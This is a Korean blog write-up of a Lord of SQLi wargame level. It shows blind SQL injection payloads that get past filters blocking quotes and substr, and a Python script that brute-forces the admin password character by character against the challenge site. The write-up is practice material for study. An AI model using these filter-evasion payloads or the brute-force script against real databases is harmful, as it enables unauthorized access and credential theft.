728x90
반응형
음... 좀 까다로운 것 같다
쿼터도 막혀있고, substr도 막혀있다.
우선 admin계정을 찾아보자.
이제 비밀번호를 찾아보자.
비밀번호는 8자!!!
브루트포스 하기 위해 찾아냈다.
쿼터를 사용하지 못해서 어떻게 문제를 풀 것인가 찾아보았다.
쿼터를 사용하지 못할 때
' and substr(str, 1, 1) = 0x61 #
' and substr(str, 1, 1) = unhex(61) #
' and substr(str, 1, 1) = char(97) #
전부 a로 변환된다.
얘네도 막혔다면
' and hex(substr(str, 1, 1)) = 61 #
' and ascii(substr(str, 1, 1)) = 97 #
' and ord(substr(str, 1, 1)) = 97 #
나는 char(97)과 같은 방법을 사용했다.
또한 substr가 막혀서
right(left(pw, 1), 1)과 같은 방식을 사용했다.
이런 방식으로 브루트포스 소스를 짜서 돌리면
import requests url = 'http://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php' head={ 'cookie' : 'PHPSESSID=jb0fn7h3a9equg6ks5fucp8cc6;
__cfduid=dc1a492341f80f72da3031f4ceecfdf101501339269' } password='' for x in range(1, 9): for y in range(48, 123): brute_string = "1 or no>1 and right(left(pw,"+str(x)+"),1) like char("+str(y)+") #" params = {"no": brute_string} res = requests.get(url=url, params=params, headers=head) if "Hello admin" in res.text: print chr(y) break
이렇게 8자리 비밀번호가 나온다.
이렇게 비밀번호를 입력하면 문제 해결~
반응형
'Study > Web' 카테고리의 다른 글
[웹해킹] LOS 11번 golem (0) | 2017.08.18 |
---|---|
[웹해킹] LOS 10번 skeleton (0) | 2017.08.18 |
[웹해킹] LOS 9번 vampire (0) | 2017.08.18 |
[웹해킹] LOS 8번 troll (0) | 2017.08.18 |
[웹해킹] LOS 7번 orge (0) | 2017.08.18 |
댓글